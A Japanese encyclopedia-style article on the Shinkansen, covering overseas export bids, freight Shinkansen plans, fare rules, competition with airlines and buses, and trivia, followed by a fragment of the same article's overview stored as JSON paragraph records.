日立製作所は、2009年からロンドン - ケント州間の高速新線「High Speed 1(HS1、旧名CTRL: Channel Tunnel Rail Link)」で運行される高速列車サービス「オリンピックジャベリン」の専用車両「クラス395」29編成計174両を受注し、2007年8月から引き渡しが始まった。車両はHSBC Rail UKが保有し、サウスイースタンが列車の運行を担当する。UIC規格路線を走る初めての日本製高速鉄道車両であり、HS1上においてTGVベースのユーロスターと混在して運行されることとなる。営業最高速度は、HS1上で140 mph (225 km/h)、在来線では70 mph (112 km/h) で、将来的には170 mph (275 km/h) を目指す。
日立はさらなる高速鉄道事業の受注を目指して、都市間高速鉄道計画における受注も目指して活動を展開し、2009年2月に、イースト・コースト本線(ロンドン - エディンバラ間、距離700 km)やグレート・ウェスタン本線(距離300 km)を走行する高速鉄道車両の製造の優先交渉権を得た。そしてキャメロン政権の歳出削減政策による一時の交渉凍結を経て、2012年7月にシーメンス、アルストム、ボンバルディアの鉄道ビッグ3との受注競争に打ち勝って、596両の高速鉄道車両の製造と2017年から27年間にわたる車両のリースと保守事業を、45億ポンド(受注時の為替レートで約5,500億円)で一括受注した。さらに2013年7月には、追加で「クラス800」270両の製造と27年間にわたる車両のリースと保守事業を12億ポンド(受注時の為替レートで約1,800億円)で一括受注した。受注した車両は最高速度200 km/hで、5両編成(定員約300人)と9両編成(定員約600人)で運行される。これを受けて日立は8000万ポンド(96億円)を投じて英北部ダラム州のニュートン・エイクリフに車両生産工場を建設し、2016年から月産35両のペースで車両を生産する。車両のリース事業は日立の子会社などが出資する特別目的会社アジリティトレインズによって行われる。
中華人民共和国は京滬高速鉄道など8路線、計7,000 kmの旅客専用線(最高速度350 km/h)のほか、中国全土に高速鉄道網の建設(最高速度200 - 350 km/h)を進めているが、国産高速車両「中華之星」の開発で多くのトラブルに見舞われたこともあって、日本の新幹線の技術導入と同時にフランス・ドイツ・カナダなどからも技術導入を図っている。
2007年には、主要都市間の在来線高速化 (200 – 250 km/h) に向け、JR東日本のE2系(川崎重工業製)をベースにしたCRH2型「子弾頭」を導入している。日本以外ではスウェーデンのRegina(カナダ・ボンバルディア製)をベースにしたCRH1型(CRHは“China Railway High-Speed”の略)、イタリアのペンドリーノETR600(フランス・アルストム製)をベースにしたCRH5型も導入された。
2008年の夏季オリンピックに合わせて開業した北京 - 天津間の京津都市間鉄道にはCRH2型の旅客専用線仕様も導入されたが、設計速度を超過し運転していたため、日本側からの抗議を受けて他線区に転配し、武広線では250 km/hで運転している。同年12月からは、北京 - 上海・杭州間にCRH2E型の16両編成中13両を寝台車「軟臥車(B寝台相当)」とした夜行列車が運転されている。「夜行新幹線」はかつて日本でも試作車両が作られたが、営業運転は実現していない。
2009年に開業した武漢 - 広州間の武広旅客専用線 (350 km/h) にはドイツのICE 3(シーメンス製)をベースにしたCRH3型が導入されている。どの国からも、一部は完成車で納入され、残りは現地組み立てまたは技術供与による現地生産となっている。
なおJR各社では、JR東日本が受注に積極的なのに対し、台湾への技術供与を行ったJR東海会長の葛西敬之は、法整備が不十分な中国においてトラブルが発生した場合の責任問題や、中華人民共和国側の車両購入条件である「中華人民共和国へのブラックボックスのない完全な技術供与」では技術流出の危惧から反対の意見を表明している。また、2010年4月に葛西が「中国の高速鉄道は安全性を軽視することで、限界まで速度を出している。技術も『外国企業から盗用』」と主張したことに対し、中国の何総工程師は「我々が求めている技術は、日本のような島国向けの技術とは異なる」と主張し、「安全性が保証されている中国の高速鉄道技術は既に世界をリードする地位を獲得した」などと反論した。
しかし、中国鉄道部科学技術局長などを務めた周翊民は、中国紙『21世紀経済報道』に対し「世界一にこだわり、設計上の安全速度を無視し、日独が試験走行で達成していた速度に近い速度での営業を命じただけで、中国独自の技術によるものではない」と暴露し、「自分の技術でないので問題が起きても解決できない。結果の甚大さは想像もできない」と指摘した。またアメリカ議会の超党派諮問機関である「米中経済安保調査委員会」は2011年10月26日、日本の新幹線技術の中国側の取得について「中国企業が外国技術を盗用した最もひどい実例」と明記し、中国の政府や国家の意思によるものだと結論付けた。なお、2011年7月23日に浙江省温州市で、死者43人・負傷者190人以上を出す追突脱線事故が発生し、鉄道局長ら幹部3人が更迭されている。
アメリカ合衆国の北東部には、ワシントンD.C.、フィラデルフィア、ニューヨークシティ、ボストンなど名だたる大都市が連なり、メガロポリスと呼ばれる。それらの都市は1800年代に建設された北東回廊と呼ばれる幹線鉄道が結んでおり、その特性から同国で最も利用者の多い幹線鉄道路線となっている。この北東回廊のうち、ワシントンD.C.とニューヘイヴン間は1900年代前半に電化が完了、電気動力による高速運転が実現しており、1960年代後半には東海道新幹線の成功に影響された電車高速列車メトロライナーが登場。しかし、度重なる運営事業者の経営不振と再編により軌道保守へ十分な投資ができず、せっかくの高速列車の乗り心地を悪くさせ、速度を制限させる原因となっていた。その状況を打破すべく、1971年に民営企業より列車運行および線路保有権を引き継いだ全米旅客鉄道公社 (Amtrak) は北東回廊の軌道を強化させ、同時にメトロライナー電車よりも高速な列車の導入を決定。この一連の流れで、新幹線の成功を経験していた日本はこの計画に参加することとなり、軌道強化計画のほか、新幹線0系を基礎としつつもアメリカ合衆国の基準に適応させた専用車両の設計を行った。
この時期、二度にわたる石油危機などの影響で、折しも鉄道利用者が増加していたという背景も追い風となり、北東回廊の更新計画は北東回廊改良計画として1980年代に実を結んだ。しかし、最も重要な課題であった軌道強化には日本の技術が大いに活かされたものの、初の新幹線仕様車両の国外輸出として期待されていた専用車両の導入が実現することはなかった。
1970年代後半のアメリカ合衆国。同国の中西部に位置するオハイオ州では、州内の各都市を高速で結ぶ新たな鉄道を建設する話が盛り上がった。この当時、ほかに例を見ない高速鉄道として有名であった日本の新幹線はこの計画の恰好のモデルとなり、日本国鉄およびその関連機関はこの計画に対して様々な支援を行ったが、実現していない。
大韓民国の高速鉄道・"KTX"計画において、日本は新幹線方式(車両は300系電車を基礎としたもの)で入札に参加した。しかし、「反日感情」などの政治的な理由により、最終的にフランスのTGV方式の導入となった。
三菱グループを筆頭とした日本連合がスペインの高速鉄道、AVEの第一期区間(マドリード=セビージャ高速線)で運行される車両の入札に参加し、日本の新幹線100系を基礎とした車両を提案。ヨーロッパ各国の名だたるメーカーとの競争に勝ち、フランスのTGV、ドイツのICEとともに最終選考に進み、その中でも価格・経験の面でもっとも高い評価を得たが、スペインの欧州諸共同体(EC)への加盟などが影響し、フランスのTGVに敗れる結果となった。
1970年代、イラン政府は日本政府に対し、同国の首都テヘランと同国第二の規模を誇るマシュハドの間に新幹線の建設を行うように要請。実際に路線経路の計画や車両設計の準備などが行われたものの、1979年の革命で新幹線を要求していた政府が打倒されたことにより、計画ごと消滅した。
新幹線による貨物輸送は、最高速度や制動距離などの違いからダイヤグラム上で旅客列車と混在させることは現状では困難である。貨客混載での実証実験では積み替えの手間や輸送コストなどの問題が指摘されている。なお、約40年の時を経て同様のコンセプトを持つ列車が在来線でJR貨物M250系電車(スーパーレールカーゴ)として登場した。
「貨物新幹線」は、東海道新幹線の建設時から東京-大阪間を5時間半で結ぶ夜行貨物列車の運行構想があった。1958年(昭和33年)に国鉄幹線調査会が答申し、国鉄の新幹線総局計画審議室などが検討をおこなった。
計画を担当していた石井幸孝によると、国鉄では5トンコンテナの規格を新幹線の車両限界に合わせたサイズ(8×8×12フィート)とし、貨物取扱駅の用地買収を進め工事も開始したが、東海道新幹線の建設費がインフレの影響で当初の計画より二倍近くに膨れ上がったため計画を断念した。その後、貨物新幹線用地は東京貨物ターミナル駅や車両基地などに転用された。大阪貨物ターミナル駅の近くには未完成の高架施設が残っていたが、2013年から順次撤去工事が進められている。
東海道新幹線建設時の計画については、世界銀行から新幹線建設の資金を調達する際、貨物が鉄道輸送の主力となっていたアメリカの理解を得るためのダミー構想であったとの見方があるが、石井はこれを否定している。また、国鉄在籍時に東海道新幹線建設に従事した長尚は、高橋団吉著『新幹線を走らせた男 国鉄総裁十河信二物語』の「じつは、貨物新幹線を走らせる気は、最初からなかったのである。」という記述に対して「東海道新幹線の計画から開業後の暫くまで、国鉄の責任者・関係者は貨物輸送を真剣に考えていたことは、次のような幾つかの事実から間違いない」としている。
JTBキャンブックス『幻の国鉄車両』 pp. 46 – 52 には、コンテナ電車他各種車両のメトリクスや編成図が掲載されている。
石井は将来的には人口減少により旅客輸送の需要が減りダイヤに余裕が出来るため、最高速度を200km/h程度に抑えた夜行貨物列車が可能となると主張し、新型の導入で余剰となった旧型車両を改造してヤマト運輸のロールボックスパレットを搭載出来るようにした図面を公開している。
山陽新幹線建設の際に「路線の有効長は、将来の貨物運行を考慮して500mとしている。」また、仁杉巌は「いずれ新幹線による貨物輸送をもとめる声も高くなってくるだろうと思いますが、そのときは、おそらく新幹線が関西よりももっとさきへのびたときではないかと考えられます。つまり、現在建設中の山陽新幹線が下関までのびたときとか、博多までのびたときとかです。」と記している。なお、泉幸夫貨物局長は、博多開業前に「東海道新幹線を作りましたときに、将来は貨物もコンテナ輸送をやるという前提がありました。昭和34年に登場した5トンコンテナも、今縦積みにすれば、新幹線で使えるようにできているわけです。しかし、その後、100キロ貨車が開発され、東京 - 大阪間は、8時間で走るようになりましたから新幹線の貨物輸送は将来博多まで延びたときに、検討するという感じだったのです。その博多開業時期も大体きまってきたわけですが、貨物局を中心に勉強しまして、100キロ程度を出せるコキ車を使うと、博多から東京までといっても、そう時間に大きな差があるわけでもないことと、新幹線で5トンコンテナを運んでみたところでフリークェンシーに富んだ輸送は必ずしも期待できないこと等から、現時点では新幹線による貨物輸送は原則として考えていないのです。」と述べている。
東北・上越新幹線建設の際にも貨物輸送の可能性が検討されたが、迅速性を優先されるという物資の輸送では航空貨物との競合が避けられずしかも貨物シェア自体が小さいこともあって、基本規格は東海道・山陽新幹線に準じることとして将来の可能性を残す形で見送られた。
1981年から、東海道新幹線で「レールゴーサービス」という小荷物などの運送がおこなわれていた。1982年には郵政省からの提案で、1985年頃には国鉄内から、これを拡大した郵便・貨物輸送が計画され、車両の設計図面まで存在していたが、いずれも実現しなかった。
2005年(平成17年)から建設が始まった北海道新幹線は、青函トンネルとその前後の区間を在来線の貨物列車と共用するため、同区間では片道あたり新幹線・貨物それぞれ2本/時しか走らせることができないと予想されている。JR北海道ではこのボトルネックを緩和する方法の一つとして、在来線の貨車をそのまま搭載する専用列車(トレイン・オン・トレイン)の研究を行っていたが重量の問題から、E5系やH5系をベースにした貨物専用の新幹線車両の開発を検討している。
2020年以降、新型コロナウイルス感染症の社会・経済的影響で、新幹線の利用が大幅に減少し減収が続いているため、JR旅客各社では新幹線による荷物輸送の事業化に乗り出している。これらは台車に乗せた荷物を使われていない座席と座席の間に置くなど、既存の客車をそのまま利用しているため大型の貨物には対応できず、常温輸送となるため梱包に手間がかかり、青森から大宮までホタテを輸送した例ではトラックの4 - 5倍のコストがかかるなど不利な点も多い。しかし高速ながら事故率の低さと定時性の高さがあるため、水産物や電子部品など特性にあった小荷物の高速輸送に使われている。
JR東日本は、2017年から不定期で地域の特産品などを新幹線で運び駅ナカの見本市などで販売する取り組みを行ってきた。2018年には、日本郵便と共同で、宮城県で収穫された農産物を東北新幹線で東京駅まで輸送して、東京駅でのイベントで販売したり、2019年には、新潟県で水揚げされた海産物を上越新幹線で輸送し、品川駅の鮮魚店で販売したりする試みや、2020年には、弘前市で収穫されたトウモロコシを朝に新青森駅で積み込み、当日に東京駅で販売するなど小口の高速輸送の手段として検証が行われている。2020年10月からは仙台駅 - 東京駅間の輸送を定期化した。現在では駅ホームで積み込みが行われているが、作業スペースが狭く時間の制限もあるため、車両基地へ貨物を搬入し積み込みを行うなど効率化の試みもなされている。
JR西日本も、JR東日本と連携して、北陸エリアの特産品などを北陸新幹線で首都圏に輸送する事業を拡大することを表明した。JR西日本は、JR九州とも連携して、山陽・九州新幹線を活用して九州の特産品などを関西へ輸送する実証実験を2021年2月から開始する。新大阪駅で荷物を降ろした後、在来線に積み替えて大阪や京都に輸送する貨物輸送の事業化を目指と発表した。2022年11月4日には客車による即日配送を行う特産品ブランドを「FRESH WEST」と命名し、19日から朝に鳥取県の境港市で水揚げされたズワイガニなどを米子駅から特急に乗せ、途中で新幹線に積み替えて新大阪駅へ輸送し駅ナカで販売する事業を開始した。
JR北海道とJR九州も、それぞれ佐川急便と提携して宅配荷物を新幹線で輸送する事業を構想している。JR北海道では、北海道・本州間(新函館北斗駅 - 新青森駅)で客室内に宅配荷物を収納した専用ボックスを積載して輸送する方式で、早ければ2020年度内にも正式に事業化する予定。JR九州も、九州新幹線の博多駅 - 鹿児島中央駅間の上下で車内の余剰スペースに佐川急便の宅配便荷物を収納した専用ボックスを積載して輸送する貨客混載事業を2021年5月18日から開始し、また旧車販準備室を使用する荷物輸送サービス「はやっ!便」を同日に開始した。
2021年1月8日、日本貨物鉄道(JR貨物)は、現在進行中の「JR貨物グループ中期経営計画2023」に続く長期計画として「JR貨物グループ長期ビジョン2030」を発表した。JR旅客各社と連携して「貨物新幹線」の検討を進め、期間中に実現したい考えを示した。「物流イノベーションや既存鉄道インフラの有効活用(人流・物流の一体化による鉄道事業の持続性向上)として貨物新幹線の検討を推進」という文言で、貨物新幹線の事業化に言及している。
2022年、国土交通省は、深刻なトラックドライバー不足(2024年問題)や2050年までのカーボンニュートラル実現に向けた対応の必要性など、物流における諸課題の解決を図るため、「今後の鉄道物流のあり方に関する検討会」を設置した。7月28日に開かれた第5回の会合では、鉄道貨物の輸送量拡大やJR貨物の経営自立支援に向けた提言の中間とりまとめを行った。提言では「貨物鉄道の輸送モードとしての競争力強化」「貨物鉄道と他モードとの連携」「社会・荷主の意識改革」の3つの視点から14の課題を抽出した。貨物鉄道は、航空機やトラックと比べて、ドアツードアではリードタイムや輸送品質の面で十分に競争力がある輸送サービスを提供できていないが、新幹線の貨物輸送の拡大によって競争力を強化することを課題の1つに挙げている。新幹線は旅客輸送に特化する前提で整備されてきたが、近年は一部で貨客混載輸送が行われ、宅配便、鮮魚・鮮果、半導体といった付加価値の高い品目の輸送において、新たな市場を開拓しつつある。将来的に、新幹線の貨物専用車両による高頻度の大量高速輸送を実現できれば、日本の物流においてイノベーションを引き起こす可能性があり、新たな輸送ニーズや市場の開拓を通じた日本経済・地域経済の成長への貢献、航空機やトラックからのモーダルシフトによる地球環境への貢献の可能性も出てくる。一方で、大量輸送と高速走行を兼ね備えた車両の新規開発、積み替え技術の開発と必要な施設の整備、乗入れ区間、旅客列車とのダイヤ調整、安全確保のための方策、運行主体や費用負担など、多くの課題があることが指摘されている。国、JR貨物、JR旅客会社等の関係者による調査を行って課題を整理した上で、まずはJR貨物が中心となって、線路容量に余裕がある路線における走行を念頭に置いた、高速走行と大量輸送の両立が可能な貨物専用車両の導入の可能性を検討する必要があるとしている。
新幹線の運賃は、並行在来線の営業キロを元に決められる。これは元来新幹線が並行在来線の別線増設として建設されたという歴史的経緯や、運賃計算の繁雑化を避けたことによるものである。詳しくは以下の通り。
注:この節での(運賃・料金計算のための)「並行在来線」とは、東海道新幹線では東海道本線、山陽新幹線では東海道本線・山陽本線・鹿児島本線、東北新幹線の東京駅 - 盛岡駅間では東北本線、上越新幹線では(東北本線)・高崎線・上越線・信越本線、九州新幹線の博多駅 - 新八代駅間、川内駅 - 鹿児島中央駅間では鹿児島本線、西九州新幹線の諫早駅 - 長崎線間では長崎本線のこと。
一方、新幹線と並行在来線とを完全に同一視すると旅客にとって不利になる場合を考慮して、以下のような例外がある。
また山陽新幹線の新下関駅 - 小倉駅 - 博多駅間については、新幹線(JR西日本)と在来線(JR九州)とで管理する会社が異なることから、他の区間とは扱いが異なっている。
詳しくは、旅客営業規則第16条の2、第16条の3および第16条の4を参照。
新幹線(山形・秋田新幹線を除く)の特急料金は、乗車券や在来線の特急列車のような対キロ制ではなく、各駅の区間ごとに決められた、いわゆる三角表方式となっている。
新幹線と在来線の乗り継ぎについては、一定の条件で在来線の特急・急行料金を半額に割り引く制度がある(乗継割引)。これは、新幹線が開業する前は1本の(特急等の)列車で済んでいたものが、開業したことによって複数の(新幹線と特急等の)列車に分割されることによる合計後の特急料金等の負担増を軽減することをそもそもの目的として設けられたものである。
なお山形新幹線と秋田新幹線については、新在直通運転を行うため特殊な特急料金を設定している(「山形新幹線#運賃と特急料金」および「秋田新幹線#運賃と特急料金」を参照)。
長距離輸送においては、従来から国内線との競合が続いていたが、航空会社の規制緩和による各種割引運賃の導入(早割、特割、激割など)や旅行業者と連携しての宿泊料金込みの格安プランの販売、および格安航空会社の参入等により、競争は一層激化している。
また、航空会社によるマイレージサービスの存在も大きく影響している。これは高頻度の利用客に対し通常より多いボーナスマイルや専用ラウンジの用意、渡航先宿泊の割引などの高いサービスを与えて優遇する制度であり、利用者の大きな支持を得ている。鉄道側でも、例えばエクスプレスカードの場合、会員に対しポイントシステムを開始しているが、そのサービス内容や、高頻度利用客への優遇サービスは格段に異なっている。
航空会社との対抗については、航空路線と競合する区間を中心に割引率の大きい特別企画乗車券の発売や、ビジネス客の多い東海道・山陽新幹線ではJR東海エクスプレス・カードとJ-WESTカード(エクスプレス)による「エクスプレス予約」、東北・山形・秋田・北海道・上越・北陸新幹線では「えきねっと」といった、運行会社自身の会員制インターネット予約による割引特急券の発売が行われている。とりわけ2006年(平成18年)の神戸空港や北九州空港の開港は、競合する東海道・山陽新幹線への影響が大きく、「エクスプレス予約」の山陽新幹線への拡大、N700系車両の共同開発など、それまで対立の多かったJR東海とJR西日本両社は連携を強化する体制に転換しつつある。一方、航空会社も東京 - 大阪間でのみ使える予約変更自由、航空会社選択自由のシャトル便往復割引を導入して迎え撃っているほか、羽田空港の滑走路増設による発着能力増強や、横田空域の一部返還により、更なる所要時間短縮による競争力強化が見込まれている。また、京浜急行電鉄や名古屋鉄道といった空港連絡鉄道路線を持つ鉄道各社との連携も行っている。
山陽新幹線においては、終点である博多駅と福岡空港がほぼ隣接している(地下鉄で2駅、5分前後)という特徴もあり、福岡 - 名古屋間では新幹線と航空会社との競争が非常に激化している。福岡 - 大阪間は従来競争が激しかったが、「ひかりレールスター」の登場などにより、鉄道側が優位に立っている。さらに2011年の山陽新幹線と九州新幹線の直通運転開始により、従来は航空側が優位であった大阪 - 熊本・鹿児島間でも、新幹線と航空会社との競争が激化し始めている。
また、2015年の北陸新幹線金沢延伸後は東京 - 金沢間でも新幹線と航空会社(小松空港発着)との競合が激化し始めている。
このように競合している一方で、新幹線が災害や事故などで運転を見合わせた場合などには、航空路は新幹線の代替交通機関としての機能も果たしている。
東海道新幹線の開業以来、新幹線と競合した私鉄特急としては、近畿日本鉄道(近鉄)、小田急電鉄、名古屋鉄道(名鉄)の特急があった。
私鉄特急はいずれの場合も、所要時間では新幹線と比較して大きく不利なので、割安な運賃・料金、駅の立地、車内の居住性などで対抗することになった。
国鉄時代、新幹線に並行する在来線特急と競合したものの、同一事業者よる運用として一般的には「競合」とはみなされていなかった。しかしながら、国鉄民営化後は新幹線と在来線特急が別会社によって運用されるケースが発生し、営業的にも競合関係となった。具体的な例は以下の通りである。
高速バスは「定時性・速度では劣るが、時間・経路・発着地の柔軟性と価格で優れている」という性質がある。 そのため、長距離区間では不利となるが、中距離区間や、大都市間を初めとする区間では、夜行バスで格安で移動できることから、高速道路の整備が進んだ1980年代ごろから人気となっている。また、都心部(東京の新宿や渋谷、名古屋の栄、大阪の梅田や難波、広島の紙屋町、福岡の天神など)やテーマパーク(TDRやUSJなど)に直接乗り入れており、新幹線駅間以外でも競合している。 しかし、上述のように性質が大きく異なるため、「速さを取るか、安さを取るか」という直接的な競合というよりは、発着地、所要時間といった利用者のニーズで使い分けられている。例えば、目的地が遠く、早朝に到着する必要がある場合は、より早い時間に到着する高速バスが有利となる。早朝から(あるいは夜間の)在来線特急との乗り継ぎを要する場合はさらに高速バスが有利となる。
その一方、在来線特急との乗り継ぎが現実的でない地域では、新幹線駅との接続に高速バスが用いられる場合もあり(B&Sみやざき等)、高速バスが競合ではなく補完の役割を担う場合もある。
新幹線の建設に関しては、その開業効果が大きいことから、沿線の利害に関係することとして建設時よりさまざまな政治介入がなされてきたといわれる。
最も古い話では、東海道新幹線の建設時に起こった京都駅の設置是非をめぐる問題や、大野伴睦の介入による岐阜羽島駅の設置騒動がある。ただし岐阜羽島駅の設置には、関ヶ原の降雪対策という政治的な影響力とは別の理由もあり、政治力のみで設置されたわけではないと言われている。
また逆に、一度は着工された駅新設が、その新設を争点とした選挙での県知事交代によって凍結に追い込まれた、滋賀県の南びわ湖駅の例もある。
日本では、新幹線という単語がすでに高速鉄道そのものを意味する普通名詞と化しているため、報道などでは日本国外の高速鉄道についても国名を付けて「○○新幹線」「○○版新幹線」「○○の新幹線」と広く呼ばれている(例:TGVはフランス新幹線、ICEはドイツ新幹線、KTXは韓国新幹線、ロシア高速鉄道はロシア新幹線、台湾高鐵は台湾新幹線など)。
しかし、日本の新幹線は車両・軌道・架線・信号 (ATC) などを総合した独自のシステムであり、ミニ新幹線を除けばヨーロッパのように在来線と相互乗り入れしているわけではなく、他の高速鉄道システムとは区別することがある。英語では、日本の新幹線は Shinkansen と表記されるように、新幹線とは日本の高速鉄道システムの固有の名称として取り扱っている。技術的には、他国の高速鉄道と異なり在来線とは独立したシステムとなっているのが特徴で、動力分散方式など独自性が強いのも特徴である。もっとも、車両が新幹線とほぼ同一であるなど仕様が近い台湾高鐵に関しては高雄捷運の日本語アナウンスなどで「台湾新幹線」と呼称している例も存在し、台湾高鐵の建設の際に機電システムを請け負った日本連合7社が設立した合弁会社は「台湾新幹線株式会社」と名乗っていた。
山陽新幹線開通前に「夜行新幹線」も計画され、山陽新幹線技術基準調査委員会報告(1966年)では、東京から博多の間を一晩に計24本で運行した場合、片道平均5,000から7,000人の需要があると見込んでいた。新幹線の夜間運行は片側1路線を運用し、もう片側の路線は保守点検して運行するという計画であった。また当時は四国新幹線や中国横断新幹線の計画も含め衝突を避けて夜間運行を実現させるために姫路駅の新幹線13番ホームを待避線に、待避駅として西明石駅・相生駅が建設された。しかし名古屋新幹線訴訟などの新幹線の騒音問題が浮き彫りになったことや国鉄分割民営化で夜行新幹線の計画は実現しなかった。
大規模なイベントにあわせて、臨時列車として夜行新幹線が運転されたことはある。2002 FIFAワールドカップの際には東海道新幹線・上越新幹線で深夜帯に臨時列車が運転された。2020年東京オリンピックでは、宮城スタジアムで行われるサッカー競技の試合に合わせ、東北新幹線の仙台駅 - 盛岡駅間、仙台駅 - 東京駅間で臨時の夜行新幹線を走らせる予定があったが、新型コロナウイルス感染症の流行拡大に伴い、宮城では有観客の開催となったものの、感染拡大防止の観点から夜行新幹線の運転は中止され幻となった。
大阪産業大学工学部の波床正敏・井上喜裕らのように、新幹線の夜行運行の適用可能性を環境負荷と発着時間帯の観点から検討し、発着時間帯の設定自由度が従来の夜行列車より高く有望であるとする考えもある。
新幹線については、異常時を除き午前0時から午前6時までの列車の運転を営業・非営業列車を問わず実施しておらず、保線作業のための時間に充てられている。このため、始発列車に使われる車両は、前日の深夜に整備済みの編成を車両基地から駅に回送し、そのまま夜間滞泊させる場合が多い。ただし、北海道新幹線の青函トンネル界隈の区間では、在来線と共用しており、在来線の貨物列車は午前0時から午前6時までの間にも運転されている。また、在来線に直通する山形新幹線及び秋田新幹線の在来線区間(福島駅 - 新庄駅間、盛岡駅 - 秋田駅間)では運行時間帯の制約がなく、この時間帯にも運転される列車がある。
法律面では新幹線の営業主体を特定していないが、運営がJRグループに継承されている理由としては、
ということが挙げられる。
静岡県田方郡函南町には「新幹線」という地名が存在する。これは昭和30年代の新幹線計画にちなむものではなく、戦前の弾丸列車計画時代のものである。弾丸列車計画時代に新丹那トンネルの工事を行うための従業員宿舎が置かれた場所で、工事終了後に宿舎は撤去されたが、その後同地に住宅団地が建てられ「新幹線」という地区が生まれることとなった。この地区には新幹線公民館や「幹線下」という名のバス停も存在している。
東京都国分寺市の鉄道総合技術研究所のある場所の地名は「光町」である。国分寺市が1966年に町名整理を行った際、同研究所での新幹線開発と1964年の東海道新幹線開業を記念し、列車愛称「ひかり」にちなんで旧地名の平兵衛新田から改称したものである。由緒ある旧地名のため研究所は地元市民との交流の機会にもなっている一般公開を「平兵衛まつり」と名付けている。
鉄道路線ではなく、送電線の名称に「新幹線」と付けられたものがある。例として、猪苗代新幹線・飛騨新幹線等があり、いずれも東海道新幹線が開通する1964年(昭和39年)よりはるか以前の大正末期から昭和初期に開通しており、「新幹線」の語を最初に使ったのは旧国鉄ではなく電力会社である。
新幹線が走っていない四国旅客鉄道(JR四国)では、2014年より予土線でキハ32形気動車を改造した“新幹線風の”車両「鉄道ホビートレイン」が走っている。非電化区間を走行するために、モーターではなく、ディーゼルエンジンを動力にしている。車内には0系風の転換座席を2脚設置したほか鉄道模型も展示されている。また、汽笛は新幹線のものと同じ音が鳴る。
東北新幹線の八戸駅 - 新青森駅間開通(2010年12月4日)、および九州新幹線の博多駅 - 新八代駅間開通(2011年3月12日)に合わせて、北海道旅客鉄道(JR北海道)・四国旅客鉄道(JR四国)も含むJRグループ旅客6社共同企画として、2010年12月15日より2011年3月31日まで『THE 新幹線』キャンペーンが行われた。キャッチフレーズは「日本とともに、走り続ける夢がある」。期間中は、新幹線の駅などをチェックポイントとし、携帯電話のGPS機能を活用したモバイルラリー「“THE 新幹線”ポイントラリー『日本列島縦断 チャレンジ新幹線!』」や、JRグループの鉄道・旅行情報サイト「トレたび」でのスペシャルサイトの開設などが行われた。 | [
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"text": "新幹線(しんかんせん、英: Shinkansen)は、主たる区間を列車が時速200キロメートル (km/h) 以上の高速度で走行できる日本の幹線鉄道。",
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"text": "「高速鉄道」のコンセプトを世界に広めた存在であり、速度・輸送力(座席数)・安全性において世界の高速鉄道の先駆けとなる存在である。",
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"text": "日本国有鉄道(国鉄)が1964年(昭和39年)10月1日に東海道本線の線路容量ひっ迫対策として、東京駅 - 新大阪駅間の線増区間として開業した東海道新幹線を端緒とする。その後国鉄時代には山陽本線の線増区間として建設された山陽新幹線の開業を経て、全国新幹線鉄道整備法に基づく基本計画を根拠として東北・上越の各新幹線が開業した。国鉄分割民営化により国鉄の事業がJRに移行した後は、北陸・九州(鹿児島ルート)・北海道・西九州(九州〈西九州ルート〉の一部)の4路線が開業し、加えて従来のJR線(在来線)と新幹線とで直通運転を行うミニ新幹線(法令上は標準軌の在来線。詳細後述)として山形・秋田の2路線が開業しており、新幹線網の拡大は半世紀にわたって続けられている。2023年(令和5年)現在も北海道・北陸・中央の各新幹線が建設中である。",
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"text": "2023年(令和5年)の時点で、フル規格8路線(合計2,830 km)とミニ新幹線2路線(合計276 km)が営業中で、2015年度(平成27年度)の年間利用者数は3億6000万人に上る。",
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"text": "高速度での都市間輸送を前提としており、在来線と異なる規格(軌間・線形・架線電圧など)を採用するなど、様々な技術的特徴がある(#主要技術参照)。走行する車両も空力や低騒音に配慮した、流線形の外形を採用し高出力のモーターを搭載した専用の電車(新幹線車両)が用いられている。こうした技術投入の結果、定時性が極めて高く、年間13万本以上の列車が運転される東海道新幹線でも平均遅延時間は24秒に留まる(2016年度)。また50年以上に渡る新幹線の歴史の中で、車両や線路の施設や設備の異常、運行側の不手際等に起因する乗客等の死亡事故は一度も発生していない(#安全性参照)。",
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"text": "全国新幹線鉄道整備法施行以前の新幹線路線の建設工事については、東海道新幹線・山陽新幹線は事業主体である日本国有鉄道(国鉄)が建設主体でもあった。全国新幹線鉄道整備法施行後は同法第6条の規定に基づき国土交通大臣が営業主体及び建設主体を指名することになっており、東北新幹線は国鉄が建設主体であったが、上越新幹線は日本鉄道建設公団が建設主体となった。国鉄分割民営化後の東北・上越新幹線東京延伸の際は、当時新幹線の地上設備を一括して所有していた新幹線鉄道保有機構が建設主体であった。さらにその後に建設された北陸新幹線や九州新幹線などのいわゆる整備新幹線については、日本鉄道建設公団および新幹線鉄道保有機構の権利を継承した鉄道建設・運輸施設整備支援機構が建設主体となっている。なお、超電導リニア方式を採用する中央新幹線については東海旅客鉄道(JR東海)が建設主体に指名された。",
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"paragraph_id": 7,
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"text": "運営は1964年(昭和39年)の開業から1987年(昭和62年)の国鉄分割民営化までは国鉄が行っており、国鉄の事業がJR各社に譲渡されて以降は、東北・上越新幹線を東日本旅客鉄道(JR東日本)、東海道新幹線を東海旅客鉄道(JR東海)、山陽新幹線を西日本旅客鉄道(JR西日本)が運営を行っている。JR移行後に開業した整備新幹線では、北陸新幹線をJR東日本とJR西日本が、九州・西九州新幹線をJR九州が、北海道新幹線をJR北海道が運営を行っている。なお、JR四国はこれまで新幹線の運営に携わったことがない。",
"title": "概要"
},
{
"paragraph_id": 8,
"tag": "p",
"text": "冒頭で述べたとおり、全国新幹線鉄道整備法では、新幹線鉄道を「その主たる区間を列車が200キロメートル毎時(以降km/hと記す)以上の高速度で走行できる幹線鉄道」(第2条)と定義している。「その主たる区間」であるから、局所的に200 km/h未満の速度でしか走行できない区間が存在しても新幹線鉄道である。新幹線を法律で定義しているのは、在来線とは異なる運転規則や構造規則(いずれも省令)が必要なためである。",
"title": "概要"
},
{
"paragraph_id": 9,
"tag": "p",
"text": "列車の運行を妨げる行為に対しては、一般の鉄道でも鉄道営業法や刑法などに規定があるが、それに加えて、新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法(新幹線特例法)などによって、より厳しい法的措置が定められている。",
"title": "概要"
},
{
"paragraph_id": 10,
"tag": "p",
"text": "なお、一般にミニ新幹線として称され、時刻表にも新幹線(の一部)として記載されている山形新幹線・秋田新幹線は、在来線を改軌して対応する一部の新幹線列車が走行できるようにしたものであり、目視による安全確認を要する信号機とATSの組み合わせによる列車防護、踏切道の存在など、新幹線鉄道構造規則に準じた構造(後述の「路線・軌道設備」を参照)とはなっておらず、全国新幹線鉄道整備法上の新幹線鉄道には含まず、在来線の扱いとなっている(後述の「在来線への直通」並びに両路線の記事を参照)。",
"title": "概要"
},
{
"paragraph_id": 11,
"tag": "p",
